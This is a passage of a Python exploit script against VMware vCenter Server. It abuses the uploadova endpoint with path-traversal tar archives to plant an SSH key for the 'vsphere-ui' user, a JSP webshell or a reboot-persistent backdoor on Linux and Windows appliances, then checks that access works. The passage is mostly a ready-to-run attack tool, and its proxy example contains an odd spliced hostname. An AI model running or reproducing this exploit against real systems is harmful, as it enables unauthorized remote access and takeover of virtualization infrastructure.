(int(sVersion.split('.')[0]) == 6 and int(sVersion.split('.')[1]) == 7 and int(sBuild) >= 13010631): ## vCenter 6.7 >= 13010631, webshell not an option, but backdoor works when put at /usr/lib/vmware-vsphere-ui/server/static/resources/libs/<thefile> sPayloadPath = '../../usr/lib/vmware-vsphere-ui/server/static/resources/libs/' + os.path.basename(sFile) print('[!] Selected uploadpath: ' + sPayloadPath[5:]) oTar.add(sFile, arcname=sPayloadPath) oTar.close() return 'backdoor' else: #(int(sVersion.split('.')[0]) == 7 and int(sVersion.split('.')[1]) == 0): ## vCenter 7.0, backdoor webshell, but dynamic location (/usr/lib/vmware-vsphere-ui/server/static/resources15863815/libs/<thefile>) sPayloadPath = '../../usr/lib/vmware-vsphere-ui/server/static/' + getResourcePath() + '/libs/' + os.path.basename(sFile) print('[!] Selected uploadpath: ' + sPayloadPath[5:]) oTar.add(sFile, arcname=sPayloadPath) oTar.close() return 'backdoor' def createTarWin(sFile, sRpath = None): ## vCenter only (uploaded as administrator), vCenter 7+ did not exist for Windows if sRpath: if sRpath[0] == '/': sRpath = sRpath[:1] sPayloadPath = '../../' + sRpath else: sPayloadPath = '../../ProgramData/VMware/vCenterServer/data/perfcharts/tc-instance/webapps/statsreport/' + os.path.basename(sFile) oTar = tarfile.open('payloadWin.tar','w') oTar.add(sFile, arcname=sPayloadPath) oTar.close() def uploadFile(sURL, sUploadType, sFile): #print('[!] Uploading ' + sFile) sFile = os.path.basename(sFile) sUploadURL = sURL + '/ui/vropspluginui/rest/services/uploadova' arrLinFiles = {'uploadFile': ('1.tar', open('payloadLin.tar', 'rb'), 'application/octet-stream')} ## Linux oResponse = requests.post(sUploadURL, files = arrLinFiles, verify = False, proxies = lProxy) if oResponse.status_code == 200: if oResponse.text == 'SUCCESS': print('[+] Linux payload uploaded succesfully.') if sUploadType == 'ssh': print('[+] SSH key installed for user \'vsphere-ui\'.') print(' Please run \'ssh vsphere-ui@' + sURL.replace('https://','') + '\'') return True elif sUploadType == 'webshell': sWebshell = sURL + '/ui/resources/' + sFile #print('testing ' + sWebshell) oResponse = requests.get(sWebshell, verify=False, proxies = lProxy) if oResponse.status_code != 404: print('[+] Webshell verified, please visit: ' + sWebshell) return True elif sUploadType == 'backdoor': sWebshell = sURL + '/ui/resources/' + sFile print('[+] Backdoor ready, please reboot or wait for a reboot') print(' then open: ' + sWebshell) else: ## absolute pass ## Windows arrWinFiles = {'uploadFile': ('1.tar', open('payloadWin.tar', 'rb'), 'application/octet-stream')} oResponse = requests.post(sUploadURL, files=arrWinFiles, verify = False, proxies = lProxy) if oResponse.status_code == 200: if oResponse.text == 'SUCCESS': print('[+] Windows payload uploaded succesfully.') if sUploadType == 'backdoor': print('[+] Absolute upload looks OK') return True else: sWebshell = sURL + '/statsreport/' + sFile oResponse = requests.get(sWebshell, verify=False, proxies = lProxy) if oResponse.status_code != 404: print('[+] Webshell verified, please visit: ' + sWebshell) return True return False if __name__ == "__main__": usage = ( 'Usage: %prog [option]\n' 'Exploiting Windows & Linux vCenter Server\n' 'Create SSH keys: ssh-keygen -t rsa -f id_rsa -q -N \'\'\n' 'Note1: Since the 6.7U2+ (b13010631) Linux appliance, the webserver is in memory. Webshells only work after reboot\n' 'Note2: Windows is the most vulnerable, but less mostly deprecated anyway') parser = optparse.OptionParser(usage=usage) parser.add_option('--url', '-u', dest='url', help='Required; example https://192.168.0.1') parser.add_option('--file', '-f', dest='file', help='Required; file to upload: e.g. id_rsa.pub in case of ssh or webshell.jsp in case of webshell') parser.add_option('--type', '-t', dest='type', help='Optional; ssh/webshell, default: ssh') parser.add_option('--rpath', '-r', dest='rpath', help='Optional; specify absolute remote path, e.g. /tmp/testfile or /Windows/testfile') parser.add_option('--proxy', '-p', dest='proxy', help='Optional; configure a HTTPS proxy, e.g. http://127.0.0.1.321awaycampervans.com:8080') (options, args) = parser.parse_args() parseArguments(options) ## Verify if verify(sURL): print('[+] Target vulnerable: ' + sURL) else: exit('[-] Target not vulnerable: ' + sURL) ## Read out the version sVersion, sBuild = getVersion(sURL) if sRpath: print('[!] Ready to upload your file to ' + sRpath) elif sType.lower() == 'ssh': print('[!] Ready to upload your SSH keyfile \'' + sFile + '\'') else: print('[!] Ready to upload webshell \'' + sFile + '\'') sAns = input('[?] Want to exploit? [y/N]: ') if not sAns or not sAns[0].lower() == 'y': exit() ## Create TAR file sUploadType = createTarLin(sFile, sType, sVersion, sBuild, sRpath) if not sUploadType == 'ssh': createTarWin(sFile, sRpath) ## Upload and verify uploadFile(sURL, sUploadType, sFile) ## Cleanup os.remove('payloadLin.tar') os.remove('payloadWin.tar')